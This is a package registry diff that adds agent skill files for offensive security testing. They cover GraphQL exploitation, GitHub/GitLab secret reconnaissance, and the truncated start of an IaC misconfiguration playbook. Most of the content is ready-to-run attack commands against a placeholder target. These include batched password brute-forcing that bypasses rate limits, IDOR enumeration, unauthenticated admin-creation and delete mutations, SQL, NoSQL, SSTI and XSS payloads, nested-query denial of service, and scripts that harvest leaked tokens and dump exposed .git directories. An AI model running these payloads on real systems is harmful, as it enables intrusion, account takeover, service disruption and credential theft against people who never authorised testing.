rtexit-method 0.1.15 → 0.1.17
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-exploit-graphql/SKILL.md +311 -0
- package/packaged-assets/.agents/skills/rt-github-recon/SKILL.md +251 -0
- package/packaged-assets/.agents/skills/rt-iac-misconfig/SKILL.md +250 -0
- package/packaged-assets/.agents/skills/rt-wifi-attacks/SKILL.md +273 -0
- package/tools/installer/lib/profiles.js +33 -1
package/package.json
CHANGED
|
@@ -0,0 +1,311 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-graphql
|
|
3
|
+
description: "GraphQL-specific attack techniques — introspection enumeration, field suggestions bypass, batching attacks (rate limit bypass), nested query DoS, IDOR via GraphQL, injection through arguments, authorization bypass, persisted query exploitation, subscription hijacking. Dedicated skill beyond generic API testing. Tools: graphql-cop, InQL, graphw00f, Burp Suite extensions. Docker: rtexit/kali:v3.0."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
|
|
7
|
+
|
|
8
|
+
# rt-exploit-graphql — GraphQL Security Testing
|
|
9
|
+
|
|
10
|
+
## Overview
|
|
11
|
+
|
|
12
|
+
GraphQL APIs expose a completely different attack surface from REST. A single endpoint handles all operations, introspection reveals the entire schema, and batch queries can bypass rate limiting. Most developers underestimate GraphQL security.
|
|
13
|
+
|
|
14
|
+
**When to use:**
|
|
15
|
+
- Target has GraphQL endpoint (`/graphql`, `/api/graphql`, `/v1/graphql`)
|
|
16
|
+
- Testing a modern web/mobile app with complex data requirements
|
|
17
|
+
- After discovering GraphQL via JS analysis or network traffic
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1: Identify GraphQL Endpoints
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
docker exec rtexit-kali bash -c "
|
|
25
|
+
TARGET=https://target.com
|
|
26
|
+
|
|
27
|
+
# Common GraphQL paths
|
|
28
|
+
for path in /graphql /api/graphql /graphiql /playground /v1/graphql /v2/graphql /query /gql; do
|
|
29
|
+
STATUS=\$(curl -sk -o /dev/null -w '%{http_code}' \"\${TARGET}\${path}\")
|
|
30
|
+
if [ \$STATUS != '404' ]; then
|
|
31
|
+
echo \"[\$STATUS] \${TARGET}\${path}\"
|
|
32
|
+
fi
|
|
33
|
+
done
|
|
34
|
+
|
|
35
|
+
# JavaScript analysis — find GraphQL in frontend code
|
|
36
|
+
docker exec rtexit-kali bash -c \"
|
|
37
|
+
curl -sk \$TARGET | grep -oE '/[a-z/_-]*graphql[a-z/_-]*' | sort -u
|
|
38
|
+
curl -sk \$TARGET | grep -oE 'graphqlUrl|graphqlEndpoint|gqlUrl' | head -10
|
|
39
|
+
\"
|
|
40
|
+
"
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## Phase 2: Introspection — Schema Discovery
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
docker exec rtexit-kali bash -c "
|
|
49
|
+
TARGET=https://target.com/graphql
|
|
50
|
+
|
|
51
|
+
# Full introspection query
|
|
52
|
+
curl -sk \$TARGET \
|
|
53
|
+
-H 'Content-Type: application/json' \
|
|
54
|
+
-d '{\"query\":\"{__schema{types{name,fields{name,type{name,kind,ofType{name,kind}},args{name,type{name,kind,ofType{name,kind}},defaultValue}}}}}\"}' \
|
|
55
|
+
| python3 -m json.tool | head -100
|
|
56
|
+
|
|
57
|
+
# Get all query/mutation names
|
|
58
|
+
curl -sk \$TARGET \
|
|
59
|
+
-H 'Content-Type: application/json' \
|
|
60
|
+
-d '{\"query\":\"{__schema{queryType{fields{name,description}},mutationType{fields{name,description}}}}\"}' \
|
|
61
|
+
| python3 -c \"
|
|
62
|
+
import json,sys
|
|
63
|
+
r = json.load(sys.stdin)
|
|
64
|
+
schema = r.get('data',{}).get('__schema',{})
|
|
65
|
+
print('=== QUERIES ===')
|
|
66
|
+
for f in schema.get('queryType',{}).get('fields',[]):
|
|
67
|
+
print(f' {f[\\\"name\\\"]}: {f.get(\\\"description\\\",\\\"\\\")[:60]}')
|
|
68
|
+
print('=== MUTATIONS ===')
|
|
69
|
+
for f in schema.get('mutationType',{}).get('fields',[]):
|
|
70
|
+
print(f' {f[\\\"name\\\"]}: {f.get(\\\"description\\\",\\\"\\\")[:60]}')
|
|
71
|
+
\"
|
|
72
|
+
"
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
---
|
|
76
|
+
|
|
77
|
+
## Phase 3: graphql-cop — Automated Security Audit
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
docker exec rtexit-kali bash -c "
|
|
81
|
+
# graphql-cop covers: introspection, DoS, injection, CSRF, debug
|
|
82
|
+
python3 /opt/graphql-cop/graphql-cop.py \
|
|
83
|
+
-t https://target.com/graphql \
|
|
84
|
+
-o /tmp/graphql_audit.json 2>/dev/null || \
|
|
85
|
+
graphql-cop -t https://target.com/graphql 2>/dev/null
|
|
86
|
+
|
|
87
|
+
# Parse results
|
|
88
|
+
cat /tmp/graphql_audit.json | python3 -c \"
|
|
89
|
+
import json,sys
|
|
90
|
+
for vuln in json.load(sys.stdin):
|
|
91
|
+
if vuln.get('result'):
|
|
92
|
+
print(f'[VULN] {vuln[\\\"title\\\"]} ({vuln[\\\"severity\\\"]})')
|
|
93
|
+
print(f' {vuln[\\\"description\\\"]}')
|
|
94
|
+
\"
|
|
95
|
+
"
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## Phase 4: InQL — Deep Schema Analysis + Attack
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
docker exec rtexit-kali bash -c "
|
|
104
|
+
TARGET=https://target.com/graphql
|
|
105
|
+
|
|
106
|
+
# Scan with InQL
|
|
107
|
+
inql -t \$TARGET -o /tmp/inql_output/
|
|
108
|
+
|
|
109
|
+
# Generated files:
|
|
110
|
+
ls /tmp/inql_output/
|
|
111
|
+
# *.query — sample queries for every type
|
|
112
|
+
# *.mutation — sample mutations
|
|
113
|
+
# report.html — visual schema map
|
|
114
|
+
|
|
115
|
+
# Use generated queries as testing baseline
|
|
116
|
+
cat /tmp/inql_output/*.query | head -50
|
|
117
|
+
"
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Phase 5: Disable Introspection Bypass
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
docker exec rtexit-kali bash -c "
|
|
126
|
+
TARGET=https://target.com/graphql
|
|
127
|
+
|
|
128
|
+
# If introspection is disabled, use field suggestions
|
|
129
|
+
# GraphQL engines leak type names through suggestions
|
|
130
|
+
|
|
131
|
+
# Test suggestion bypass
|
|
132
|
+
curl -sk \$TARGET \
|
|
133
|
+
-H 'Content-Type: application/json' \
|
|
134
|
+
-d '{\"query\":\"{user{id,emali}}\"}' \
|
|
135
|
+
| grep -i 'did you mean\|suggestion'
|
|
136
|
+
# Output: 'Did you mean \"email\"?' → field exists!
|
|
137
|
+
|
|
138
|
+
# Systematic field enumeration via suggestions
|
|
139
|
+
docker exec rtexit-kali bash -c \"
|
|
140
|
+
for field in id email password token role admin secret hash salt; do
|
|
141
|
+
result=\\\$(curl -sk https://target.com/graphql \\\\
|
|
142
|
+
-H 'Content-Type: application/json' \\\\
|
|
143
|
+
-d '{\\\"query\\\":\\\"{user{'\\\$field'}}\\\"}' \\\\
|
|
144
|
+
| grep -i 'did you mean\|Cannot query field')
|
|
145
|
+
echo \\\"\\\$field: \\\$result\\\"
|
|
146
|
+
done
|
|
147
|
+
\"
|
|
148
|
+
"
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## Phase 6: Batching Attack — Bypass Rate Limiting
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
docker exec rtexit-kali bash -c "
|
|
157
|
+
TARGET=https://target.com/graphql
|
|
158
|
+
|
|
159
|
+
# Array batching — send 1000 queries in single HTTP request
|
|
160
|
+
# Bypasses rate limiting that counts HTTP requests, not GraphQL operations
|
|
161
|
+
|
|
162
|
+
python3 - << 'EOF'
|
|
163
|
+
import json, requests
|
|
164
|
+
|
|
165
|
+
target = 'https://target.com/graphql'
|
|
166
|
+
# Batch 1000 login attempts in ONE request
|
|
167
|
+
batch = [
|
|
168
|
+
{'query': 'mutation { login(email: \"admin@target.com\", password: \"' + pwd + '\") { token } }'}
|
|
169
|
+
for pwd in open('/opt/SecLists/Passwords/top1000.txt').read().splitlines()[:1000]
|
|
170
|
+
]
|
|
171
|
+
|
|
172
|
+
resp = requests.post(target, json=batch,
|
|
173
|
+
headers={'Content-Type': 'application/json'},
|
|
174
|
+
verify=False, timeout=30)
|
|
175
|
+
|
|
176
|
+
for i, result in enumerate(resp.json()):
|
|
177
|
+
if result.get('data', {}).get('login', {}).get('token'):
|
|
178
|
+
print(f'[+] FOUND! Password: {batch[i]}')
|
|
179
|
+
break
|
|
180
|
+
EOF
|
|
181
|
+
"
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 7: IDOR & Authorization Bypass
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
docker exec rtexit-kali bash -c "
|
|
190
|
+
TARGET=https://target.com/graphql
|
|
191
|
+
AUTH_TOKEN=eyJhbGciOiJIUzI1NiJ9... # your session token
|
|
192
|
+
|
|
193
|
+
# Test IDOR — change ID to access other users' data
|
|
194
|
+
for id in 1 2 3 100 999 1000; do
|
|
195
|
+
result=\$(curl -sk \$TARGET \
|
|
196
|
+
-H 'Content-Type: application/json' \
|
|
197
|
+
-H \"Authorization: Bearer \$AUTH_TOKEN\" \
|
|
198
|
+
-d \"{\\\"query\\\": \\\"{user(id: \$id){ id email phone role }}\\\"}\" \
|
|
199
|
+
| python3 -c 'import json,sys; u=json.load(sys.stdin).get(\"data\",{}).get(\"user\",{}); print(u) if u else None')
|
|
200
|
+
echo \"User \$id: \$result\"
|
|
201
|
+
done
|
|
202
|
+
|
|
203
|
+
# Test missing authorization on mutations
|
|
204
|
+
curl -sk \$TARGET \
|
|
205
|
+
-H 'Content-Type: application/json' \
|
|
206
|
+
-H 'Authorization: Bearer LOW_PRIV_TOKEN' \
|
|
207
|
+
-d '{ \"query\": \"mutation { deleteUser(id: 1) { success } }\" }'
|
|
208
|
+
|
|
209
|
+
# Test for admin mutations without auth
|
|
210
|
+
curl -sk \$TARGET \
|
|
211
|
+
-H 'Content-Type: application/json' \
|
|
212
|
+
-d '{ \"query\": \"mutation { createAdmin(email: \"attacker@evil.com\", password: \"pass\") { id token } }\" }'
|
|
213
|
+
"
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## Phase 8: Injection via GraphQL Arguments
|
|
219
|
+
|
|
220
|
+
```bash
|
|
221
|
+
docker exec rtexit-kali bash -c "
|
|
222
|
+
TARGET=https://target.com/graphql
|
|
223
|
+
|
|
224
|
+
# SQL injection through arguments
|
|
225
|
+
curl -sk \$TARGET \
|
|
226
|
+
-H 'Content-Type: application/json' \
|
|
227
|
+
-d '{ \"query\": \"{ users(filter: \\\"1 OR 1=1--\\\") { id email password } }\" }'
|
|
228
|
+
|
|
229
|
+
# NoSQL injection (MongoDB)
|
|
230
|
+
curl -sk \$TARGET \
|
|
231
|
+
-H 'Content-Type: application/json' \
|
|
232
|
+
-d '{ \"query\": \"{ user(id: \\\"{\\\\\"\\\\$gt\\\\\": \\\"\\\"}\\\") { email password } }\" }'
|
|
233
|
+
|
|
234
|
+
# SSTI in arguments
|
|
235
|
+
curl -sk \$TARGET \
|
|
236
|
+
-H 'Content-Type: application/json' \
|
|
237
|
+
-d '{ \"query\": \"{ search(query: \\\"{{7*7}}\\\") { results } }\" }'
|
|
238
|
+
# If response contains 49 → SSTI
|
|
239
|
+
|
|
240
|
+
# XSS stored via GraphQL mutation
|
|
241
|
+
curl -sk \$TARGET \
|
|
242
|
+
-H 'Content-Type: application/json' \
|
|
243
|
+
-d '{ \"query\": \"mutation { updateProfile(bio: \\\"<script>alert(1)</script>\\\") { id } }\" }'
|
|
244
|
+
"
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
## Phase 9: Nested Query DoS (Depth Attack)
|
|
250
|
+
|
|
251
|
+
```bash
|
|
252
|
+
docker exec rtexit-kali bash -c "
|
|
253
|
+
TARGET=https://target.com/graphql
|
|
254
|
+
|
|
255
|
+
# Generate deeply nested query — can crash servers without depth limiting
|
|
256
|
+
python3 - << 'EOF'
|
|
257
|
+
import requests
|
|
258
|
+
|
|
259
|
+
depth = 50
|
|
260
|
+
query = '{ user { ' + 'friends { ' * depth + 'id name' + '}' * depth + '} }'
|
|
261
|
+
|
|
262
|
+
resp = requests.post('https://target.com/graphql',
|
|
263
|
+
json={'query': query},
|
|
264
|
+
headers={'Content-Type': 'application/json'},
|
|
265
|
+
verify=False, timeout=10)
|
|
266
|
+
|
|
267
|
+
print(f'Status: {resp.status_code}')
|
|
268
|
+
print(f'Response size: {len(resp.content)} bytes')
|
|
269
|
+
print(resp.json())
|
|
270
|
+
EOF
|
|
271
|
+
"
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
---
|
|
275
|
+
|
|
276
|
+
## Phase 10: Persisted Query Exploitation
|
|
277
|
+
|
|
278
|
+
```bash
|
|
279
|
+
docker exec rtexit-kali bash -c "
|
|
280
|
+
TARGET=https://target.com/graphql
|
|
281
|
+
|
|
282
|
+
# Find persisted query IDs
|
|
283
|
+
curl -sk \$TARGET \
|
|
284
|
+
-H 'Content-Type: application/json' \
|
|
285
|
+
-d '{ \"extensions\": { \"persistedQuery\": { \"version\": 1, \"sha256Hash\": \"KNOWN_HASH\" } } }'
|
|
286
|
+
|
|
287
|
+
# Abuse persisted queries to access admin functions
|
|
288
|
+
# If server stores queries by hash — inject your own
|
|
289
|
+
MALICIOUS_QUERY='{ users { id email password role } }'
|
|
290
|
+
HASH=\$(echo -n \"\$MALICIOUS_QUERY\" | sha256sum | awk '{print \$1}')
|
|
291
|
+
|
|
292
|
+
# Register and execute
|
|
293
|
+
curl -sk \$TARGET \
|
|
294
|
+
-H 'Content-Type: application/json' \
|
|
295
|
+
-d \"{\\\"query\\\": \\\"\$MALICIOUS_QUERY\\\", \\\"extensions\\\": {\\\"persistedQuery\\\": {\\\"version\\\": 1, \\\"sha256Hash\\\": \\\"\$HASH\\\"}}}\"
|
|
296
|
+
"
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## Related Skills
|
|
302
|
+
- `rt-exploit-api` — REST API testing methodology
|
|
303
|
+
- `rt-exploit-injection` — injection via GraphQL arguments
|
|
304
|
+
- `rt-exploit-idor` — IDOR through GraphQL object access
|
|
305
|
+
- `rt-js-analysis` — find GraphQL schema from JS bundles
|
|
306
|
+
|
|
307
|
+
## References
|
|
308
|
+
- https://github.com/dolevf/graphql-cop
|
|
309
|
+
- https://github.com/nicowillis/inql
|
|
310
|
+
- https://attack.mitre.org/techniques/T1190/ — Exploit Public-Facing Application
|
|
311
|
+
- https://graphql.org/learn/introspection/
|
|
@@ -0,0 +1,251 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-github-recon
|
|
3
|
+
description: "GitHub/GitLab/Bitbucket reconnaissance and secret exposure — find leaked API keys, tokens, passwords, internal hostnames, source code from exposed repos. Covers: org enumeration, trufflehog scanning, gitleaks, exposed .git directories (git-dumper), GitHub dorks, GitLab self-hosted enumeration, CI/CD secrets in pipelines. Critical recon step for any org with a GitHub presence. Docker: rtexit/kali:v3.0."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
|
|
7
|
+
|
|
8
|
+
# rt-github-recon — Source Code & Secret Exposure via Git Platforms
|
|
9
|
+
|
|
10
|
+
## Overview
|
|
11
|
+
|
|
12
|
+
GitHub is a goldmine. Organizations accidentally commit API keys, internal hostnames, credentials, infrastructure code, and proprietary algorithms. Even "private" repos often have leaked secrets that were committed before being removed — git history never forgets.
|
|
13
|
+
|
|
14
|
+
**When to use:**
|
|
15
|
+
- Phase 1 Recon against any target with a developer team
|
|
16
|
+
- Before web/API testing — find endpoints and keys in source
|
|
17
|
+
- Before cloud testing — find AWS/Azure credentials
|
|
18
|
+
- Find internal infrastructure details (server names, IPs, CI/CD configs)
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## Phase 1: Organization Discovery
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
docker exec rtexit-kali bash -c "
|
|
26
|
+
TARGET_ORG=target-company
|
|
27
|
+
|
|
28
|
+
# Find GitHub org
|
|
29
|
+
curl -s 'https://api.github.com/search/users?q=type:org+${TARGET_ORG}' \
|
|
30
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | python3 -m json.tool
|
|
31
|
+
|
|
32
|
+
# List all public repos in org
|
|
33
|
+
curl -s 'https://api.github.com/orgs/${TARGET_ORG}/repos?per_page=100&type=all' \
|
|
34
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
35
|
+
python3 -c 'import json,sys; [print(r[\"clone_url\"]) for r in json.load(sys.stdin)]'
|
|
36
|
+
|
|
37
|
+
# Find employees by org membership
|
|
38
|
+
curl -s 'https://api.github.com/orgs/${TARGET_ORG}/members?per_page=100' \
|
|
39
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
40
|
+
python3 -c 'import json,sys; [print(m[\"login\"]) for m in json.load(sys.stdin)]'
|
|
41
|
+
"
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Phase 2: GitHub Dorks — Find Exposed Secrets
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
docker exec rtexit-kali bash -c "
|
|
50
|
+
# Search for secrets using GitHub code search API
|
|
51
|
+
TOKEN=YOUR_GITHUB_TOKEN
|
|
52
|
+
ORG=target-company
|
|
53
|
+
|
|
54
|
+
# Common dorks (search one at a time — rate limits)
|
|
55
|
+
dorks=(
|
|
56
|
+
'org:${ORG} password'
|
|
57
|
+
'org:${ORG} secret'
|
|
58
|
+
'org:${ORG} api_key'
|
|
59
|
+
'org:${ORG} AWS_SECRET_ACCESS_KEY'
|
|
60
|
+
'org:${ORG} BEGIN RSA PRIVATE KEY'
|
|
61
|
+
'org:${ORG} .env'
|
|
62
|
+
'org:${ORG} database_url'
|
|
63
|
+
'org:${ORG} jdbc:mysql'
|
|
64
|
+
'org:${ORG} mongodb+srv'
|
|
65
|
+
'org:${ORG} Authorization: Bearer'
|
|
66
|
+
'org:${ORG} slack_token'
|
|
67
|
+
'org:${ORG} PRIVATE KEY'
|
|
68
|
+
'org:${ORG} internal.company.com'
|
|
69
|
+
)
|
|
70
|
+
|
|
71
|
+
for dork in \"\${dorks[@]}\"; do
|
|
72
|
+
echo \"=== Dork: \$dork ===\"
|
|
73
|
+
curl -s \"https://api.github.com/search/code?q=\$(python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))' \"\$dork\")&per_page=10\" \
|
|
74
|
+
-H \"Authorization: token \$TOKEN\" | python3 -c \"
|
|
75
|
+
import json,sys
|
|
76
|
+
r = json.load(sys.stdin)
|
|
77
|
+
for item in r.get('items', []):
|
|
78
|
+
print(' ', item['repository']['full_name'], '→', item['path'])
|
|
79
|
+
\"
|
|
80
|
+
sleep 2 # respect rate limits
|
|
81
|
+
done
|
|
82
|
+
"
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## Phase 3: trufflehog — Deep Secret Scan
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
docker exec rtexit-kali bash -c "
|
|
91
|
+
ORG=target-company
|
|
92
|
+
|
|
93
|
+
# Scan all public repos in org
|
|
94
|
+
trufflehog github --org=\$ORG \
|
|
95
|
+
--token=YOUR_GITHUB_TOKEN \
|
|
96
|
+
--json \
|
|
97
|
+
--only-verified \
|
|
98
|
+
2>/dev/null | tee /tmp/trufflehog_results.json
|
|
99
|
+
|
|
100
|
+
# Parse results
|
|
101
|
+
cat /tmp/trufflehog_results.json | python3 -c \"
|
|
102
|
+
import json, sys
|
|
103
|
+
for line in sys.stdin:
|
|
104
|
+
try:
|
|
105
|
+
r = json.loads(line)
|
|
106
|
+
print(f'[SECRET] {r.get(\"DetectorName\")}: {r.get(\"Raw\", \"\")[:50]}')
|
|
107
|
+
print(f' Repo: {r.get(\"SourceMetadata\", {}).get(\"Data\", {}).get(\"Github\", {}).get(\"repository\")}')
|
|
108
|
+
print(f' File: {r.get(\"SourceMetadata\", {}).get(\"Data\", {}).get(\"Github\", {}).get(\"file\")}')
|
|
109
|
+
except: pass
|
|
110
|
+
\"
|
|
111
|
+
|
|
112
|
+
# Also scan specific repo including git history
|
|
113
|
+
trufflehog git https://github.com/\$ORG/target-repo \
|
|
114
|
+
--token=YOUR_GITHUB_TOKEN \
|
|
115
|
+
--json \
|
|
116
|
+
--only-verified 2>/dev/null
|
|
117
|
+
"
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Phase 4: gitleaks — Scan Cloned Repos
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
docker exec rtexit-kali bash -c "
|
|
126
|
+
ORG=target-company
|
|
127
|
+
mkdir -p /tmp/repos
|
|
128
|
+
|
|
129
|
+
# Clone all repos
|
|
130
|
+
for repo in \$(curl -s 'https://api.github.com/orgs/'\$ORG'/repos?per_page=100' \
|
|
131
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
132
|
+
python3 -c 'import json,sys; [print(r[\"clone_url\"]) for r in json.load(sys.stdin)]'); do
|
|
133
|
+
git clone --depth 100 \$repo /tmp/repos/\$(basename \$repo .git) 2>/dev/null
|
|
134
|
+
done
|
|
135
|
+
|
|
136
|
+
# Scan all with gitleaks
|
|
137
|
+
gitleaks detect \
|
|
138
|
+
--source /tmp/repos/ \
|
|
139
|
+
--report-path /tmp/gitleaks_report.json \
|
|
140
|
+
--report-format json \
|
|
141
|
+
--no-banner \
|
|
142
|
+
2>/dev/null
|
|
143
|
+
|
|
144
|
+
# Parse
|
|
145
|
+
cat /tmp/gitleaks_report.json | python3 -m json.tool | \
|
|
146
|
+
grep -A5 'RuleID\|Secret\|File\|Commit'
|
|
147
|
+
"
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## Phase 5: Exposed .git Directories on Web Servers
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
docker exec rtexit-kali bash -c "
|
|
156
|
+
TARGET=https://target.com
|
|
157
|
+
|
|
158
|
+
# Check if .git is exposed
|
|
159
|
+
curl -s \${TARGET}/.git/HEAD | grep -i 'ref:'
|
|
160
|
+
curl -s \${TARGET}/.git/config
|
|
161
|
+
|
|
162
|
+
# If exposed — dump entire repository
|
|
163
|
+
git-dumper \${TARGET}/.git /tmp/git_dump/
|
|
164
|
+
ls /tmp/git_dump/
|
|
165
|
+
|
|
166
|
+
# Find secrets in dumped code
|
|
167
|
+
grep -r 'password\|secret\|api_key\|token\|AKIA' /tmp/git_dump/ --include='*.py' --include='*.js' --include='*.env' --include='*.yml'
|
|
168
|
+
"
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Phase 6: GitLab Self-Hosted Enumeration
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
docker exec rtexit-kali bash -c "
|
|
177
|
+
GITLAB_URL=https://gitlab.internal.company.com
|
|
178
|
+
|
|
179
|
+
# Check GitLab version (unauthenticated)
|
|
180
|
+
curl -s \${GITLAB_URL}/api/v4/version 2>/dev/null | python3 -m json.tool
|
|
181
|
+
|
|
182
|
+
# Enumerate public projects (no auth needed)
|
|
183
|
+
curl -s '\${GITLAB_URL}/api/v4/projects?visibility=public&per_page=100' | \
|
|
184
|
+
python3 -c 'import json,sys; [print(p[\"web_url\"]) for p in json.load(sys.stdin)]'
|
|
185
|
+
|
|
186
|
+
# With auth token
|
|
187
|
+
curl -s '\${GITLAB_URL}/api/v4/projects?per_page=100&membership=true' \
|
|
188
|
+
-H 'PRIVATE-TOKEN: GITLAB_TOKEN' | \
|
|
189
|
+
python3 -c 'import json,sys; [print(p[\"http_url_to_repo\"]) for p in json.load(sys.stdin)]'
|
|
190
|
+
|
|
191
|
+
# Find CI/CD variables (often has cloud credentials)
|
|
192
|
+
curl -s '\${GITLAB_URL}/api/v4/groups/TARGET_GROUP/variables' \
|
|
193
|
+
-H 'PRIVATE-TOKEN: GITLAB_TOKEN'
|
|
194
|
+
"
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## Phase 7: CI/CD Pipeline Secret Hunting
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
docker exec rtexit-kali bash -c "
|
|
203
|
+
# Find GitHub Actions workflows with secrets
|
|
204
|
+
ORG=target-company
|
|
205
|
+
|
|
206
|
+
# List all workflow files
|
|
207
|
+
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+filename:.yml+path:.github/workflows' \
|
|
208
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
209
|
+
python3 -c \"
|
|
210
|
+
import json,sys
|
|
211
|
+
for item in json.load(sys.stdin).get('items', []):
|
|
212
|
+
print(item['repository']['full_name'], '->', item['path'])
|
|
213
|
+
\"
|
|
214
|
+
|
|
215
|
+
# Look for hardcoded secrets in workflow files
|
|
216
|
+
# Common patterns: curl with Bearer, aws configure, secrets leak
|
|
217
|
+
"
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## Phase 8: Find Internal Hostnames & Infrastructure
|
|
223
|
+
|
|
224
|
+
```bash
|
|
225
|
+
docker exec rtexit-kali bash -c "
|
|
226
|
+
ORG=target-company
|
|
227
|
+
|
|
228
|
+
# Search for internal hostnames in code
|
|
229
|
+
for pattern in 'internal\.' 'corp\.' 'staging\.' 'dev\.' '10\.0\.' '192\.168\.'; do
|
|
230
|
+
echo \"=== Searching: \$pattern ===\"
|
|
231
|
+
curl -s \"https://api.github.com/search/code?q=org:\${ORG}+\$(python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))' \"\$pattern\")&per_page=5\" \
|
|
232
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
233
|
+
python3 -c \"import json,sys; r=json.load(sys.stdin); [print(' ', i['repository']['full_name'], '->', i['path']) for i in r.get('items',[])]\"
|
|
234
|
+
sleep 2
|
|
235
|
+
done
|
|
236
|
+
"
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## Related Skills
|
|
242
|
+
- `rt-osint` — broader OSINT methodology
|
|
243
|
+
- `rt-active-recon` — follow up with active scanning on found infrastructure
|
|
244
|
+
- `rt-credential-hunt` — use found credentials to access systems
|
|
245
|
+
- `rt-supply-chain` — use found code to analyze dependencies
|
|
246
|
+
|
|
247
|
+
## References
|
|
248
|
+
- https://github.com/trufflesecurity/trufflehog
|
|
249
|
+
- https://github.com/gitleaks/gitleaks
|
|
250
|
+
- https://github.com/arthaud/git-dumper
|
|
251
|
+
- https://attack.mitre.org/techniques/T1213/ — Data from Information Repositories
|
|
@@ -0,0 +1,250 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-iac-misconfig
|
|
3
|
+
description: "Infrastructure-as-Code (IaC) misconfiguration testing — Terraform, Kubernetes YAML, CloudFormation, Helm, Ansible, Docker Compose. Find hardcoded secrets, overprivileged IAM roles, public buckets, unencrypted storage, insecure network policies. Tools: checkov, tfsec, trivy, kube-score, semgrep. Critical for cloud and DevSecOps engagements. Docker: rtexit/kali:v3.0."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
|
|
7
|
+
|
|
8
|
+
# rt-iac-misconfig — Infrastructure-as-Code Security Testing
|
|
9
|
+
|
|
10
|
+
## Overview
|
|
11
|
+
|
|
12
|
+
Modern infrastructure is defined as code — and that code has security vulnerabilities. IaC misconfigurations cause the majority of cloud breaches: publicly accessible S3 buckets, overprivileged IAM roles, and unencrypted databases are all defined in code before they become breaches.
|
|
13
|
+
|
|
14
|
+
**When to use:**
|
|
15
|
+
- Cloud engagement with access to IaC repositories
|
|
16
|
+
- DevSecOps assessment
|
|
17
|
+
- After gaining code repository access (GitHub recon → IaC files)
|
|
18
|
+
- Before testing cloud resources — understand how they're configured
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## Phase 1: Find IaC Files in Target Repos
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
docker exec rtexit-kali bash -c "
|
|
26
|
+
# Search GitHub for IaC files
|
|
27
|
+
ORG=target-company
|
|
28
|
+
TOKEN=YOUR_GITHUB_TOKEN
|
|
29
|
+
|
|
30
|
+
# Terraform files
|
|
31
|
+
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+extension:tf+provider' \
|
|
32
|
+
-H 'Authorization: token '\$TOKEN | \
|
